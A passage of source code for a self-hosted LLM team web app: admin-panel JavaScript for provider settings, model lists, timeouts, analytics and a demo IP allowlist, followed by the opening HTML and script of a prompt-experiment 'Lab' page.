el.innerHTML = data.models.map(m => `
<div class="timeout-row">
<span>${m.display_name || m.name} <span style="color:var(--text2);font-size:10px">(${m.provider_label})</span></span>
<input type="number" value="${per[m.name] || ''}" placeholder="${(config.timeouts||{}).global||300}" onchange="setModelTimeout('${m.name}',this.value)">
</div>`).join('');
});
}
async function updateProvider(name) {
var prov = {};
var en = document.getElementById(name+'-enabled');
if (en) prov.enabled = en.checked;
var url = document.getElementById(name+'-url');
if (url) prov.base_url = url.value;
var to = document.getElementById(name+'-timeout');
if (to) prov.timeout = parseInt(to.value) || 120;
var key = document.getElementById(name+'-key');
if (key && key.value) prov.api_key = key.value;
var body = {providers: {}};
body.providers[name] = prov;
try {
var r = await fetch('/api/admin/config', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body)});
var d = await r.json();
if (d.ok) toast(name + ' provider saved', true, en ? (prov.enabled ? 'Enabled' : 'Disabled') : '');
else toast('Save failed: ' + (d.error || 'unknown'), false);
} catch(e) { toast('Save failed: ' + e.message, false); }
}
async function testProvider(name) {
const key = document.getElementById(name+'-key');
const body = {provider: name};
if (key && key.value) body.api_key = key.value;
const r = await fetch('/api/admin/test-provider', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body)});
const data = await r.json();
toast(data.message, data.ok);
}
async function toggleOllama(name, enabled) {
config.disabled_models = config.disabled_models || [];
if (enabled) {
config.disabled_models = config.disabled_models.filter(function(m) { return m !== name; });
} else {
if (!config.disabled_models.includes(name)) config.disabled_models.push(name);
}
try {
var r = await fetch('/api/admin/config', {method:'POST', headers:{'Content-Type':'application/json'},
body:JSON.stringify({disabled_models: config.disabled_models})});
var d = await r.json();
if (d.ok) toast(name + ' ' + (enabled ? 'enabled' : 'disabled'), true);
else toast('Failed to save model state', false);
} catch(e) { toast('Save error: ' + e.message, false); }
}
function toggleCloud(idx, enabled) {
config.cloud_models[idx].enabled = enabled;
saveCloudModels();
}
function removeCloud(idx) {
config.cloud_models.splice(idx, 1);
saveCloudModels();
renderCloudModels();
}
async function saveCloudModels() {
try {
var r = await fetch('/api/admin/config', {method:'POST', headers:{'Content-Type':'application/json'},
body:JSON.stringify({cloud_models: config.cloud_models})});
var d = await r.json();
if (d.ok) toast('Cloud models saved', true, (config.cloud_models||[]).length + ' models configured');
else toast('Save failed', false);
} catch(e) { toast('Save error: ' + e.message, false); }
}
function showAddCloud() { document.getElementById('add-cloud-modal').style.display = ''; }
function hideAddCloud() { document.getElementById('add-cloud-modal').style.display = 'none'; }
async function addCloudModel() {
const prov = document.getElementById('add-cloud-prov').value;
const id = document.getElementById('add-cloud-id').value.trim();
const name = document.getElementById('add-cloud-name').value.trim();
if (!id) return toast('Model ID required', false);
config.cloud_models = config.cloud_models || [];
config.cloud_models.push({id: prov+'::'+id, display_name: name || id, enabled: true});
await saveCloudModels();
renderCloudModels();
hideAddCloud();
document.getElementById('add-cloud-id').value = '';
document.getElementById('add-cloud-name').value = '';
}
async function fetchORModels() {
const el = document.getElementById('or-model-list');
el.innerHTML = '<div class="empty">Fetching...</div>';
const r = await fetch('/api/admin/openrouter/models');
const data = await r.json();
orModels = data.models || [];
if (data.error) { el.innerHTML = '<div class="empty" style="color:var(--red)">Error: '+data.error+'</div>'; return; }
renderORModels();
}
function renderORModels() {
const q = (document.getElementById('or-search').value || '').toLowerCase();
const filtered = q ? orModels.filter(m => m.name.toLowerCase().includes(q) || m.id.toLowerCase().includes(q)) : orModels;
const el = document.getElementById('or-model-list');
if (!filtered.length) { el.innerHTML = '<div class="empty">No models found.</div>'; return; }
const existing = new Set((config.cloud_models||[]).map(m=>m.id));
el.innerHTML = filtered.map(m => {
const added = existing.has('openrouter::'+m.id);
const ctx = m.context_length ? (m.context_length/1000).toFixed(0)+'K' : '?';
return `<div class="model-row">
<span class="name">${m.name}</span>
<span class="meta">${ctx} ctx</span>
${added
? '<button class="btn btn-sm" disabled style="opacity:0.4">Added</button>'
: `<button class="btn btn-sm btn-green" onclick="addOR('${m.id}','${m.name.replace(/'/g,"\\'")}')">Add</button>`}
</div>`;
}).join('');
}
function filterOR() { renderORModels(); }
async function addOR(id, name) {
config.cloud_models = config.cloud_models || [];
config.cloud_models.push({id: 'openrouter::'+id, display_name: name, enabled: true});
await saveCloudModels();
renderORModels();
toast('Added: ' + name);
}
async function saveTimeouts() {
var g = parseInt(document.getElementById('global-timeout').value) || 300;
config.timeouts = config.timeouts || {};
config.timeouts.global = g;
try {
var r = await fetch('/api/admin/config', {method:'POST', headers:{'Content-Type':'application/json'},
body:JSON.stringify({timeouts: config.timeouts})});
var d = await r.json();
var perCount = Object.keys((config.timeouts||{}).per_model||{}).length;
if (d.ok) toast('Timeouts saved', true, 'Global: ' + g + 's' + (perCount ? ', ' + perCount + ' overrides' : ''));
else toast('Save failed', false);
} catch(e) { toast('Save error: ' + e.message, false); }
}
function setModelTimeout(name, val) {
config.timeouts = config.timeouts || {};
config.timeouts.per_model = config.timeouts.per_model || {};
if (val && parseInt(val)) {
config.timeouts.per_model[name] = parseInt(val);
} else {
delete config.timeouts.per_model[name];
}
saveTimeouts();
}
function toggleVis(id) {
const el = document.getElementById(id);
el.type = el.type === 'password' ? 'text' : 'password';
}
function switchTab(name) {
document.querySelectorAll('.tab').forEach((t,i) => t.classList.toggle('active', t.textContent.toLowerCase().includes(name.substring(0,4))));
document.querySelectorAll('.tab-content').forEach(c => c.classList.toggle('active', c.id === 'tab-'+name));
if (name === 'timeouts') renderTimeouts();
if (name === 'models') { loadOllamaModels(); renderCloudModels(); }
if (name === 'security') { loadDemoStatus(); loadAllowlist(); }
if (name === 'analytics') loadAnalytics();
}
async function loadAnalytics() {
try {
var r = await fetch('/api/admin/analytics');
var d = await r.json();
if (d.error) { document.getElementById('ana-coverage').textContent = 'Error: ' + d.error; return; }
// Coverage
var cov = d.coverage || {};
document.getElementById('ana-coverage').innerHTML =
'<strong>' + (cov.scored||0) + '</strong> / ' + (cov.total||0) + ' runs scored (' +
(cov.total ? Math.round((cov.scored||0)/(cov.total)*100) : 0) + '%)';
// Score by Mode - horizontal bars
var modeHtml = '';
(d.by_mode||[]).forEach(function(m) {
var pct = Math.round((parseFloat(m.avg_score)||0) * 10);
modeHtml += '<div style="display:flex;align-items:center;gap:8px;margin-bottom:4px">' +
'<span style="min-width:100px;font-family:JetBrains Mono,monospace;font-size:10px;text-transform:uppercase">' + m.mode + '</span>' +
'<div style="flex:1;height:14px;background:rgba(0,0,0,0.15);border-radius:2px;overflow:hidden">' +
'<div style="width:' + pct + '%;height:100%;background:var(--accent);border-radius:2px"></div></div>' +
'<span style="font-family:JetBrains Mono,monospace;font-size:11px;font-weight:700;min-width:30px">' + m.avg_score + '</span>' +
'<span style="font-size:9px;color:var(--text2)">' + m.runs + ' runs</span></div>';
});
document.getElementById('ana-by-mode').innerHTML = modeHtml || '<span style="color:var(--text2)">No scored runs yet</span>';
// Score by Model
var modelHtml = '';
(d.by_model||[]).forEach(function(m) {
var pct = Math.round((parseFloat(m.avg_score)||0) * 10);
var name = m.model.length > 20 ? m.model.substring(0,18) + '..' : m.model;
modelHtml += '<div style="display:flex;align-items:center;gap:8px;margin-bottom:4px">' +
'<span style="min-width:120px;font-family:JetBrains Mono,monospace;font-size:10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap">' + name + '</span>' +
'<div style="flex:1;height:14px;background:rgba(0,0,0,0.15);border-radius:2px;overflow:hidden">' +
'<div style="width:' + pct + '%;height:100%;background:var(--green);border-radius:2px"></div></div>' +
'<span style="font-family:JetBrains Mono,monospace;font-size:11px;font-weight:700;min-width:30px">' + m.avg_score + '</span>' +
'<span style="font-size:9px;color:var(--text2)">' + m.runs + '</span></div>';
});
document.getElementById('ana-by-model').innerHTML = modelHtml || '<span style="color:var(--text2)">No data yet</span>';
// Heatmap - table
var hm = d.heatmap || [];
if (hm.length) {
var models = [...new Set(hm.map(function(h){return h.model}))];
var modes = [...new Set(hm.map(function(h){return h.mode}))];
var lookup = {};
hm.forEach(function(h) { lookup[h.mode+'|'+h.model] = h.avg_score; });
var tbl = '<table style="width:100%;border-collapse:collapse;font-family:JetBrains Mono,monospace;font-size:10px"><tr><th style="text-align:left;padding:4px">Mode</th>';
models.forEach(function(m) { tbl += '<th style="padding:4px;text-align:center">' + (m.length>12?m.substring(0,10)+'..':m) + '</th>'; });
tbl += '</tr>';
modes.forEach(function(mode) {
tbl += '<tr><td style="padding:4px;text-transform:uppercase;letter-spacing:0.5px">' + mode + '</td>';
models.forEach(function(model) {
var score = lookup[mode+'|'+model];
var bg = score ? 'rgba(' + (score >= 7 ? '74,222,128' : score >= 5 ? '226,181,90' : '224,82,82') + ',' + (parseFloat(score)/15) + ')' : 'transparent';
tbl += '<td style="padding:4px;text-align:center;background:' + bg + ';font-weight:700">' + (score || '-') + '</td>';
});
tbl += '</tr>';
});
tbl += '</table>';
document.getElementById('ana-heatmap').innerHTML = tbl;
} else {
document.getElementById('ana-heatmap').innerHTML = '<span style="color:var(--text2)">Need 2+ scored runs per model/mode combination</span>';
}
// Trend
var trend = d.trend || [];
if (trend.length) {
var trendHtml = '<div style="display:flex;align-items:flex-end;gap:2px;height:80px">';
var maxRuns = Math.max(...trend.map(function(t){return t.runs}));
trend.forEach(function(t) {
var h = Math.max(4, Math.round((t.runs/maxRuns)*70));
var color = parseFloat(t.avg_score) >= 7 ? 'var(--green)' : parseFloat(t.avg_score) >= 5 ? 'var(--accent)' : 'var(--red)';
trendHtml += '<div title="' + t.day + ': ' + t.avg_score + ' avg (' + t.runs + ' runs)" style="flex:1;height:' + h + 'px;background:' + color + ';border-radius:1px;min-width:4px"></div>';
});
trendHtml += '</div><div style="display:flex;justify-content:space-between;font-size:8px;color:var(--text2);margin-top:4px"><span>' + trend[0].day + '</span><span>' + trend[trend.length-1].day + '</span></div>';
document.getElementById('ana-trend').innerHTML = trendHtml;
} else {
document.getElementById('ana-trend').innerHTML = '<span style="color:var(--text2)">No data in last 30 days</span>';
}
} catch(e) {
document.getElementById('ana-coverage').textContent = 'Error loading analytics: ' + e.message;
}
}
async function loadDemoStatus() {
var r = await fetch('/api/demo/status');
var d = await r.json();
var st = document.getElementById('demo-status-admin');
if (d.active && d.showcase) {
st.innerHTML = 'Status: <strong style="color:#d946ef">SHOWCASE</strong> — full read-only admin access' + (d.started_by ? ' (by ' + d.started_by + ')' : '');
} else if (d.active) {
st.innerHTML = 'Status: <strong style="color:var(--green)">DEMO</strong> — team UI only' + (d.started_by ? ' (by ' + d.started_by + ')' : '');
} else {
st.innerHTML = 'Status: <strong style="color:var(--text2)">Off</strong>';
}
}
async function setDemoMode(mode) {
await fetch('/api/demo/toggle', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({mode:mode})});
loadDemoStatus();
var labels = {demo:'Demo enabled',showcase:'Showcase enabled',off:'Turned off'};
toast(labels[mode] || mode, true);
}
async function loadAllowlist() {
const r = await fetch('/api/demo/allowlist');
const d = await r.json();
const el = document.getElementById('allowlist');
if (!d.ips || !d.ips.length) { el.innerHTML = '<div class="empty">No IPs in allowlist.</div>'; return; }
el.innerHTML = d.ips.map(ip =>
`<div class="model-row"><span class="name">${ip}</span>${ip.startsWith('192.168.1.') ? '<span class="meta">LAN</span>' : ''}<button class="btn btn-sm btn-r" onclick="removeAllowIP('${ip}')">Remove</button></div>`
).join('');
}
async function addAllowlistIP() {
const ip = prompt('Enter IP address to allowlist:');
if (!ip) return;
await fetch('/api/demo/allowlist', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({ip, action:'add'})});
loadAllowlist();
toast('Added ' + ip);
}
async function removeAllowIP(ip) {
await fetch('/api/demo/allowlist', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({ip, action:'remove'})});
loadAllowlist();
toast('Removed ' + ip);
}
function toast(msg, ok=true, detail) {
var t = document.createElement('div');
t.className = 'toast ' + (ok ? 'ok' : 'err');
t.textContent = ok ? '' + msg : '' + msg;
if (detail) {
var d = document.createElement('div');
d.className = 'toast-detail';
d.textContent = detail;
t.appendChild(d);
}
document.body.appendChild(t);
setTimeout(function() { t.style.opacity = '0'; t.style.transition = 'opacity 0.3s'; setTimeout(function() { t.remove(); }, 300); }, 3000);
}
loadConfig();
// Background grid
!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
</script>
</body>
</html>
"""
LAB_HTML = r"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>LLM Team - Lab</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
<style>
:root { --bg:#08090c;--surface:rgba(14,16,22,0.82);--surface2:rgba(20,22,30,0.7);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;
--accent:#e2b55a;--accent2:#f0cc74;--green:#4ade80;--orange:#f59e0b;--red:#e05252;--blue:#5b9cf5;--glow:rgba(226,181,90,0.06); }
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;overflow-x:hidden}
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.02) 2px,rgba(0,0,0,0.02) 4px)}
.c{max-width:1200px;margin:0 auto;padding:16px 28px;position:relative;z-index:10}
header{display:flex;align-items:center;gap:14px;padding:18px 0;border-bottom:2px solid var(--border);margin-bottom:22px}
header h1{font-family:'JetBrains Mono',monospace;font-size:20px;font-weight:700;letter-spacing:-0.5px}
header h1 span{color:var(--green)}
.nav-link{color:var(--text2);text-decoration:none;font-size:10px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px;padding:5px 10px;border:2px solid var(--border);border-radius:2px}
.nav-link:hover{border-color:var(--accent);color:var(--accent)}
.tabs{display:flex;gap:4px;margin-bottom:20px;flex-wrap:wrap}
.tab{padding:8px 16px;background:transparent;border:2px solid var(--border);border-radius:2px;color:var(--text2);cursor:pointer;font-size:11px;font-weight:600;transition:all .15s;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px}
.tab:hover{border-color:var(--accent);color:var(--text)}
.tab.active{border-color:var(--accent);background:var(--glow);color:var(--accent)}
.tc{display:none}.tc.active{display:block}
.card{background:var(--surface);border:2px solid var(--border);border-radius:2px;padding:20px;margin-bottom:12px;backdrop-filter:blur(16px);position:relative}
.card::before{content:'';position:absolute;top:-1px;left:16px;right:16px;height:1px;background:linear-gradient(90deg,transparent,rgba(226,181,90,0.15),transparent)}
.card h3{font-family:'JetBrains Mono',monospace;font-size:13px;font-weight:700;margin-bottom:14px;display:flex;align-items:center;gap:8px;text-transform:uppercase;letter-spacing:0.5px}
.row{display:flex;gap:10px;align-items:center;margin-bottom:10px;font-size:13px}
.row label{width:100px;color:var(--text2);flex-shrink:0;font-weight:600;font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:0.5px}
.row input,.row select,.row textarea{flex:1;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:8px 10px;font-size:13px;font-family:inherit}
.row input:focus,.row select:focus,.row textarea:focus{outline:none;border-color:var(--accent);box-shadow:0 0 0 1px var(--accent)}
.btn{padding:7px 14px;border:2px solid var(--border);border-radius:2px;background:transparent;color:var(--text);cursor:pointer;font-size:10px;font-weight:700;transition:all .15s;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px}
.btn:hover{border-color:var(--accent);color:var(--accent)}
.btn-p{background:var(--accent);border-color:var(--accent);color:#08090c}
.btn-p:hover{background:var(--accent2)}
.btn-g{border-color:rgba(74,222,128,0.3);color:var(--green)}
.btn-g:hover{background:rgba(74,222,128,0.06)}
.btn-r{border-color:rgba(224,82,82,0.3);color:var(--red)}
.btn-r:hover{background:rgba(224,82,82,0.06)}
.btn-o{border-color:rgba(245,158,11,0.3);color:var(--orange)}
.btn-o:hover{background:rgba(245,158,11,0.06)}
.exp-item{background:rgba(0,0,0,0.25);border:2px solid var(--border);border-radius:2px;padding:14px;margin-bottom:8px;cursor:pointer;transition:all .15s}
.exp-item:hover{border-color:var(--accent)}
.exp-item.selected{border-color:var(--accent);background:var(--glow);box-shadow:0 0 12px rgba(226,181,90,0.08)}
.live-status{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--text2);margin-top:6px;min-height:14px;font-style:italic}
.exp-item .name{font-weight:600;font-size:14px}
.exp-item .meta{font-size:10px;color:var(--text2);display:flex;gap:12px;margin-top:4px;font-family:'JetBrains Mono',monospace}
.status-pill{display:inline-block;padding:2px 8px;border-radius:2px;font-size:9px;font-weight:700;text-transform:uppercase;letter-spacing:0.5px;font-family:'JetBrains Mono',monospace;border:1px solid}
.status-pill.idle{background:transparent;color:var(--text2);border-color:var(--border)}
.status-pill.running{background:rgba(74,222,128,0.08);color:var(--green);border-color:rgba(74,222,128,0.3);animation:pulse 2s infinite}
.status-pill.paused{background:rgba(245,158,11,0.08);color:var(--orange);border-color:rgba(245,158,11,0.3)}
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.5}}
.eval-row{display:grid;grid-template-columns:1fr 1fr auto;gap:8px;margin-bottom:6px;align-items:start}
.eval-row textarea{min-height:50px;font-size:12px;resize:vertical;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:8px}
.eval-row textarea:focus{border-color:var(--accent);outline:none}
.eval-row .btn{margin-top:0;flex-shrink:0;align-self:center}
.model-chip{display:inline-block;padding:4px 10px;border-radius:2px;font-size:11px;margin:2px;cursor:pointer;border:2px solid var(--border);transition:all .15s;font-family:'JetBrains Mono',monospace}
.model-chip:hover{border-color:var(--accent)}
.model-chip.sel{background:var(--glow);border-color:var(--accent);color:var(--accent)}
.chart-wrap{background:rgba(0,0,0,0.3);border:2px solid var(--border);border-radius:2px;padding:12px;margin-bottom:14px;overflow:hidden}
.chart-wrap svg{width:100%;height:200px}
.trial-log{max-height:400px;overflow-y:auto}
.trial-log::-webkit-scrollbar{width:3px}
.trial-log::-webkit-scrollbar-thumb{background:rgba(226,181,90,0.15)}
.trial-item{display:flex;align-items:center;gap:8px;padding:6px 10px;font-size:12px;border-bottom:1px solid rgba(42,45,53,0.3)}
.trial-item:last-child{border:none}
.trial-item .num{width:30px;color:var(--text2);font-weight:600;font-family:'JetBrains Mono',monospace}
.trial-item .diff{flex:1;color:var(--text2);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.trial-item .score{font-weight:700;width:50px;text-align:right;font-family:'JetBrains Mono',monospace}
.trial-item .ind{width:8px;height:8px;border-radius:2px;flex-shrink:0}
.best-box{background:rgba(0,0,0,0.3);border:2px solid var(--green);border-radius:2px;padding:12px;font-size:12px;white-space:pre-wrap;max-height:200px;overflow-y:auto;font-family:'JetBrains Mono',monospace}
.toast{position:fixed;top:20px;right:20px;padding:8px 14px;border-radius:2px;font-size:10px;z-index:100;animation:fi .2s;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px;border:2px solid;backdrop-filter:blur(16px)}
.toast.ok{background:rgba(74,222,128,0.1);border-color:var(--green);color:var(--green)}
.toast.err{background:rgba(224,82,82,0.1);border-color:var(--red);color:var(--red)}
@keyframes fi{from{opacity:0;transform:translateY(-10px)}to{opacity:1}}
.empty{text-align:center;padding:40px;color:var(--text2);font-size:12px;font-family:'JetBrains Mono',monospace}
@media(max-width:768px){.tabs{gap:3px}.tab{padding:6px 10px;font-size:9px}.card{padding:14px}}
</style>
</head>
<body>
<canvas id="bg-grid"></canvas>
<div class="scanlines"></div>
<div class="c">
<header>
<h1><span>Lab</span> AutoResearch</h1>
<nav style="margin-left:auto;display:flex;gap:6px;align-items:center">
<a class="nav-link" href="/">Team</a>
<a class="nav-link" href="/history">History</a>
<a class="nav-link" href="/admin">Admin</a>
<a class="nav-link" href="/logs">Logs</a>
<span style="width:2px;height:16px;background:var(--border);margin:0 2px"></span>
<a class="nav-link" href="/logout" style="opacity:0.4">Logout</a>
</nav>
</header>
<div class="tabs">
<div class="tab active" onclick="labTab('experiments')">Experiments</div>
<div class="tab" onclick="labTab('config')">Mutable Config</div>
<div class="tab" onclick="labTab('monitor')">Live Monitor</div>
<div class="tab" onclick="labTab('results')">Results</div>
</div>
<!-- EXPERIMENTS TAB -->
<div id="lt-experiments" class="tc active">
<div class="card">
<h3>Your Experiments <button class="btn btn-p" style="margin-left:auto" onclick="showCreate()">+ New</button></h3>
<div id="exp-list"><div class="empty">Loading...</div></div>
</div>
<div class="card" style="border-color:rgba(217,70,239,0.3)">
<h3 style="color:#d946ef">Meta-Pipeline <span style="font-size:9px;color:var(--text2);font-weight:400;text-transform:none;letter-spacing:0">chain modes on real data, compare models, self-improve</span></h3>
<div style="display:grid;grid-template-columns:repeat(auto-fit,minmax(200px,1fr));gap:8px;margin-bottom:12px" id="meta-presets"></div>
<div id="meta-pipelines"></div>
</div>
<div class="card" style="border-color:rgba(74,222,128,0.2)">
<h3 style="color:var(--green)">Self-Analysis <span style="font-size:9px;color:var(--text2);font-weight:400;text-transform:none;letter-spacing:0">quick reports from system data</span></h3>
<div style="display:grid;gap:8px" id="self-reports"></div>
<div id="past-reports" style="margin-top:12px"></div>
</div>
<div class="card" id="templates-card">
<h3>Experiment Templates <span style="font-size:9px;color:var(--text2);font-weight:400;text-transform:none;letter-spacing:0">click to auto-fill the create form</span></h3>
<div style="display:grid;gap:8px" id="template-list"></div>
</div>
<div id="create-form" class="card" style="display:none;border-color:var(--green)">
<h3>New Experiment</h3>
<div class="row"><label>Name</label><input id="cr-name" placeholder="e.g. Prompt Optimization v1"></div>
<div class="row"><label>Objective</label><input id="cr-obj" placeholder="e.g. Improve answer quality for technical questions"></div>
<div class="row"><label>Metric</label><select id="cr-metric"><option value="quality">Quality (LLM Judge)</option><option value="accuracy">Accuracy (Match)</option><option value="speed">Speed</option></select></div>
<div style="font-size:11px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);margin:12px 0 8px;font-weight:600">Model Pool</div>
<div id="cr-models"></div>
<div style="font-size:11px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);margin:12px 0 8px;font-weight:600">Eval Cases</div>
<div id="cr-evals"></div>
<button class="btn" onclick="addEvalRow()" style="margin-bottom:12px">+ Add Eval Case</button>
<div class="row" style="justify-content:flex-end;gap:6px">
<button class="btn" onclick="hideCreate()">Cancel</button>
<button class="btn btn-p" onclick="createExp()">Create</button>
</div>
</div>
</div>
<!-- MUTABLE CONFIG TAB -->
<div id="lt-config" class="tc">
<div class="card" id="config-panel">
<h3>Mutable Config <span style="font-size:11px;color:var(--text2)" id="cfg-exp-name"></span></h3>
<div id="no-exp-cfg" class="empty">Select an experiment from the Experiments tab first.</div>
<div id="cfg-editor" style="display:none">
<div class="row"><label>System Prompt</label></div>
<textarea id="cfg-sysprompt" style="width:100%;min-height:100px;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:10px;font-size:12px;margin-bottom:10px;font-family:'JetBrains Mono',monospace" placeholder="You are a helpful assistant."></textarea>
<div class="row"><label>Temperature</label><input id="cfg-temp" type="range" min="0" max="1.5" step="0.05" value="0.7" oninput="document.getElementById('cfg-temp-val').textContent=this.value"><span id="cfg-temp-val" style="width:30px;text-align:center;font-size:12px">0.7</span></div>
<div class="row"><label>Model</label><select id="cfg-model"></select></div>
<div class="row" style="justify-content:flex-end"><button class="btn btn-p" onclick="saveConfig()">Save Config</button></div>
</div>
</div>
</div>
<!-- LIVE MONITOR TAB -->
<div id="lt-monitor" class="tc">
<div class="card">
<h3><span id="mon-name">No Experiment Selected</span>
<div style="margin-left:auto;display:flex;gap:6px">
<button class="btn btn-g" onclick="startExp()">Start</button>
<button class="btn btn-o" onclick="pauseExp()">Pause</button>
<button class="btn btn-r" onclick="resetExp()">Reset</button>
</div>
</h3>
<div style="display:flex;gap:16px;margin-bottom:8px;font-size:13px">
<div>Status: <span class="status-pill" id="mon-status">idle</span></div>
<div>Trials: <strong id="mon-trials">0</strong></div>
<div>Best: <strong id="mon-best" style="color:var(--green)">0.0</strong>/10</div>
<div>Improvements: <strong id="mon-impr">0</strong></div>
</div>
<div class="live-status" id="live-status"></div>
</div>
<div class="card">
<h3>Score Progression</h3>
<div class="chart-wrap"><svg id="score-chart" viewBox="0 0 800 200"></svg></div>
</div>
<div class="card">
<h3>Trial Log</h3>
<div class="trial-log" id="trial-log"><div class="empty">Start an experiment to see trials here.</div></div>
</div>
<div class="card">
<h3>Best Config</h3>
<div class="best-box" id="best-config-display">No best config yet.</div>
</div>
</div>
<!-- RESULTS TAB -->
<div id="lt-results" class="tc">
<div class="card">
<h3>All Experiments</h3>
<div id="results-list"><div class="empty">Loading...</div></div>
</div>
<div class="card" id="result-detail" style="display:none">
<h3 id="res-name">Experiment</h3>
<div class="chart-wrap"><svg id="res-chart" viewBox="0 0 800 200"></svg></div>
<div class="trial-log" id="res-trials"></div>
<div style="margin-top:12px"><button class="btn btn-p" onclick="exportBest()">Export Best Config</button></div>
</div>
</div>
</div>
<script>
let experiments = [], activeExp = null, activeStream = null, allModels = [], trialData = [];
async function init() {
const r = await fetch('/api/models');
const d = await r.json();
allModels = d.models || [];
await loadExperiments();
}
async function loadExperiments() {
const r = await fetch('/api/lab/experiments');
const d = await r.json();
experiments = d.experiments || [];
renderExpList();
renderResults();
}
function renderExpList() {
const el = document.getElementById('exp-list');
if (!experiments.length) { el.innerHTML = '<div class="empty">No experiments yet. Create one to get started.</div>'; return; }
el.innerHTML = experiments.map(e => {
const rate = e.total_trials > 0 ? ((e.improvements / e.total_trials) * 100).toFixed(0) : 0;
const sel = activeExp && activeExp.id === e.id ? ' selected' : '';
return `<div class="exp-item${sel}" onclick="selectExp(${e.id})">
<div class="name">${e.name} <span class="status-pill ${e.status}">${e.status}</span></div>
<div class="meta"><span>Trials: ${e.total_trials}</span><span>Best: ${(e.best_score||0).toFixed(1)}/10</span><span>Improvements: ${e.improvements} (${rate}%)</span><span>${e.metric}</span></div>
</div>`;
}).join('');
}
async function selectExp(id) {
const r = await fetch('/api/lab/experiments/' + id);
activeExp = await r.json();
trialData = activeExp.trials || [];
updateMonitor();
updateConfigEditor();
renderExpList();
// Auto-navigate to the relevant tab
if (activeExp.status === 'running') {
labTab('monitor');
startStream();
} else if (activeExp.status === 'idle' && activeExp.total_trials === 0) {
labTab('config');
} else {
labTab('monitor');
}
}
function updateMonitor() {
if (!activeExp) return;
document.getElementById('mon-name').textContent = activeExp.name;
document.getElementById('mon-status').textContent = activeExp.status;
document.getElementById('mon-status').className = 'status-pill ' + activeExp.status;
document.getElementById('mon-trials').textContent = activeExp.total_trials;
document.getElementById('mon-best').textContent = (activeExp.best_score || 0).toFixed(1);
document.getElementById('mon-impr').textContent = activeExp.improvements;
if (activeExp.best_config) {
document.getElementById('best-config-display').textContent = JSON.stringify(activeExp.best_config, null, 2);
}
renderTrialLog();
renderChart('score-chart', trialData);
}
function updateConfigEditor() {
if (!activeExp) return;
document.getElementById('no-exp-cfg').style.display = 'none';
document.getElementById('cfg-editor').style.display = '';
document.getElementById('cfg-exp-name').textContent = '(' + activeExp.name + ')';
const mc = activeExp.mutable_config || {};
document.getElementById('cfg-sysprompt').value = mc.system_prompt || '';
document.getElementById('cfg-temp').value = mc.temperature || 0.7;
document.getElementById('cfg-temp-val').textContent = mc.temperature || 0.7;
const sel = document.getElementById('cfg-model');
sel.innerHTML = (activeExp.models_pool || []).map(m => `<option value="${m}" ${m===mc.model?'selected':''}>${m}</option>`).join('');
}
async function saveConfig() {
if (!activeExp) return;
const mc = {
system_prompt: document.getElementById('cfg-sysprompt').value,
temperature: parseFloat(document.getElementById('cfg-temp').value),
model: document.getElementById('cfg-model').value,
};
await fetch('/api/lab/experiments/' + activeExp.id, {method:'PUT', headers:{'Content-Type':'application/json'}, body:JSON.stringify({mutable_config:mc})});
activeExp.mutable_config = mc;
toast('Config saved');
}
async function startExp() {
if (!activeExp) return toast('Select an experiment first', false);
await fetch('/api/lab/experiments/' + activeExp.id + '/start', {method:'POST'});
activeExp.status = 'running';
updateMonitor();
startStream();
toast('Experiment started');
}
async function pauseExp() {
if (!activeExp) return;
await fetch('/api/lab/experiments/' + activeExp.id + '/pause', {method:'POST'});
activeExp.status = 'paused';
updateMonitor();
toast('Experiment paused');
}
async function resetExp() {
if (!activeExp) return;
if (!confirm('Reset all trials for this experiment?')) return;
await fetch('/api/lab/experiments/' + activeExp.id + '/reset', {method:'POST'});
trialData = [];
activeExp.total_trials = 0;
activeExp.improvements = 0;
activeExp.best_score = 0;
activeExp.status = 'idle';
updateMonitor();
toast('Experiment reset');
}
function startStream() {
if (activeStream) activeStream.close();
if (!activeExp) return;
const es = new EventSource('/api/lab/experiments/' + activeExp.id + '/stream');
activeStream = es;
es.onmessage = function(e) {
const d = JSON.parse(e.data);
if (d.type === 'trial') {
trialData.push(d);
activeExp.total_trials = d.trial;
activeExp.best_score = d.best;
